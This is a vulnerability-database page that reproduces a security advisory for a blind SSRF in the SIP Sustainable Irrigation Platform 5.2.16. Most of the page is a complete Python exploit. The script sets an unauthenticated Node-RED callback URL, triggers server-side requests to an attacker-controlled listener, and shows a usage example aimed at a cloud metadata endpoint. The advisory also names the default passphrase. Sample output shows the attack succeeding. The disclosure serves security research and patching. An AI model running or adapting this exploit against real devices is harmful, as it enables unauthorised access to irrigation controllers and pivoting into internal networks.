Lucene search
K

SIP Sustainable Irrigation Platform 5.x (nr-url) Blind SSRF

🗓️ 14 Jul 2026 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 8 Views

SIP irrigation platform SSRF enables server-side requests to attacker URLs without authentication.

Code
<html><body><p>#!/usr/bin/env python3
#
#
# SIP Sustainable Irrigation Platform 5.x (nr-url) Blind SSRF
#
#
# Vendor: Dan-in-CA
# Product web page: https://github.com/Dan-in-CA/SIP
# Affected version: 5.2.16
#
# Summary: SIP is a free Raspberry Pi based Python program for
# controlling irrigation systems (sprinkler, drip, hydroponic,
# etc). It uses web technology to provide an intuitive user
# interface (UI) in several languages. The UI can be accessed
# in your favorite browser on desktop, laptop, and mobile devices.
# SIP has also been used to control pumps, lights, and other Irrigation
# related equipment.
#
# Desc: The application accepts an attacker-supplied callback URL
# and, when the optional Node-RED plugin is installed, later issues
# server-side HTTP requests to that URL without validating it. This
# can be exploited to make the device send requests to arbitrary internal
# or external systems on the attacker's behalf, reaching services
# that are otherwise not directly accessible. When the optional passphrase
# is not enabled (factory default) configuring the URL and triggering
# the request require no authentication, and where the passphrase is
# enabled it defaults to 'opendoor'.
#
# -----------------------------------------------------------------------
# $ python sip_ssrf.py 192.168.1.9 192.168.2.33 9000
# === SIP SSRF PoC :: TARGET=http://192.168.1.9 ===
# [*] Node-RED present (/jsin -&gt; HTTP 200, ver="5.2.16")
#
# [*] nr-url payload : http://192.168.2.33:9000/ssrf-ZSL-PWN-1783027887
#     a) set callback (unauth)    -&gt; HTTP 303
#     b) trigger outbound (unauth)-&gt; HTTP 200
#
# [+] SSRF successful -- SIP made a server-side request to us:
#         2026-07-02T23:31:28.393794 HIT POST /ssrf-ZSL-PWN-1783027887 from=192.168.1.9 body='water level set to 42'
#
# Done.
#
# -----------------------------------------------------------------------
#
# Tested on: Debian GNU/Linux 11 (bullseye) raspberrypi 6.1.21+ (armv6l/aarch64)
#            Python 3.9.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-5998
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5998
#
#
# 24.06.2026
#

from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import http.client
import threading
import datetime
import time
import ssl
import sys

if len(sys.argv) &lt; 3:
    print("usage: python sip_exploit.py <target> <attacker> [aport] [ssrf-url]\n"
          "  <target>    SIP ip/host or ip/host:port (http:// or https:// optional)\n"
          "  <attacker>  ip/host phone home\n"
          "  [aport]     local listener port (default 9000)\n"
          "  [ssrf-url]  fire nr-url at this exact URL (blind), omit for auto canary\n"
          "example:\n"
          "  python sip_ssrf.py 2.2.2.2:8083 7.7.7.7 9000\n"
          "  python sip_ssrf.py 2.2.2.2:8083 7.7.7.7 9000 http://169.254.169.254/latest/meta-data/")
    sys.exit(1)

TARGET   = sys.argv[1]
ATTACKER = sys.argv[2]
APORT    = int(sys.argv[3]) if len(sys.argv) &gt; 3 else 9000
SSRF_URL = sys.argv[4] if len(sys.argv) &gt; 4 else None
SCHEME   = "http"
if   TARGET.startswith("https://"): SCHEME, TARGET = "https", TARGET[8:]
elif TARGET.startswith("http://"):  SCHEME, TARGET = "http",  TARGET[7:]
TARGET = TARGET.strip("/")

MARK = "ZSL-PWN-%d" % int(time.time())
HITS = []

class Handler(BaseHTTPRequestHandler):
    def _go(self, method):
        n = int(self.headers.get("Content-Length", 0) or 0)
        body = self.rfile.read(n).decode("utf-8", "replace") if n else ""
        HITS.append("%s HIT %s %s from=%s body=%r"
                    % (datetime.datetime.now().isoformat(), method, self.path, self.client_address[0], body))
        self.send_response(200); self.send_header("Content-Length", "2"); self.end_headers(); self.wfile.write(b"ok")
    def do_GET(self):  self._go("GET")
    def do_POST(self): self._go("POST")
    def log_message(self, *a): pass

def start_listener(port):
    try:
        srv = HTTPServer(("0.0.0.0", port), Handler)
    except OSError as e:
        raise SystemExit("[!] cannot bind 0.0.0.0:%d - %s" % (port, e))
    threading.Thread(target=srv.serve_forever, daemon=True).start()

def req(method, path, body=None):
    host, _, port = TARGET.partition(":")
    port = int(port) if port else (443 if SCHEME == "https" else 80)
    if SCHEME == "https":
        conn = http.client.HTTPSConnection(host, port, timeout=12, context=ssl._create_unverified_context())
    else:
        conn = http.client.HTTPConnection(host, port, timeout=12)
    headers = {"Content-Type": "application/json"} if body is not None else {}
    conn.request(method, path, body=body, headers=headers)
    r = conn.getresponse(); data = r.read(); conn.close()
    return r.status, data

def main():
    base = "%s://%s" % (SCHEME, TARGET)
    print("=== SIP SSRF PoC :: TARGET=%s ===" % base)

    # Check Node-RED
    try:
        s, data = req("GET", "/jsin?gv=ver_str")
    except Exception as e:
        raise SystemExit("[!] cannot reach %s : %s" % (base, e))
    if s == 404:
        raise SystemExit("[!] /jsin -&gt; 404 : Node-RED plugin not loaded on target. SSRF not present.")
    print("[*] Node-RED present (/jsin -&gt; HTTP %d, ver=%s)" % (s, data.decode("utf-8", "replace").strip()))

    if SSRF_URL:
        nr_url, confirmable = SSRF_URL, False
    else:
        start_listener(APORT)
        nr_url, confirmable = "%s://%s:%d/ssrf-%s" % (SCHEME, ATTACKER, APORT, MARK), True
    enc = urllib.parse.quote(nr_url, safe="")

    print("\n[*] nr-url payload : %s" % nr_url)
    s, _ = req("GET", "/node-red-save?nr-url=%s&amp;chng-sd=on&amp;chng-wl=on" % enc)
    print("    a) set callback (unauth)    -&gt; HTTP %d" % s)
    try:
        s, _ = req("POST", "/jsin", body='{"sd":"wl","val":42}')
        print("    b) trigger outbound (unauth)-&gt; HTTP %d" % s)
    except (TimeoutError, OSError):
        print("    b) trigger outbound (unauth)-&gt; timed out: SIP is blocking the call to nr-url")
        print("       (no server-side timeout -&gt; the request is being made, blind)")

    if not confirmable:
        print("\n[*] Fired (blind) at %s -- confirm via your own OOB canary / target-side timing." % nr_url)
        print("done."); return

    time.sleep(2)
    hits = [h for h in HITS if ("/ssrf-" + MARK) in h]
    if hits:
        print("\n[+] SSRF successful -- SIP made a server-side request to us:")
        for h in hits: print("        " + h)
    else:
        print("\n[-] no callback. checklist: %s:%d reachable from SIP (port-forward / firewall)? "
              "(node_red confirmed above, so the egress path is the usual blocker.)" % (ATTACKER, APORT))
    print("\nDone.")

if __name__ == "__main__":
    main()
</attacker></target></attacker></target></p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation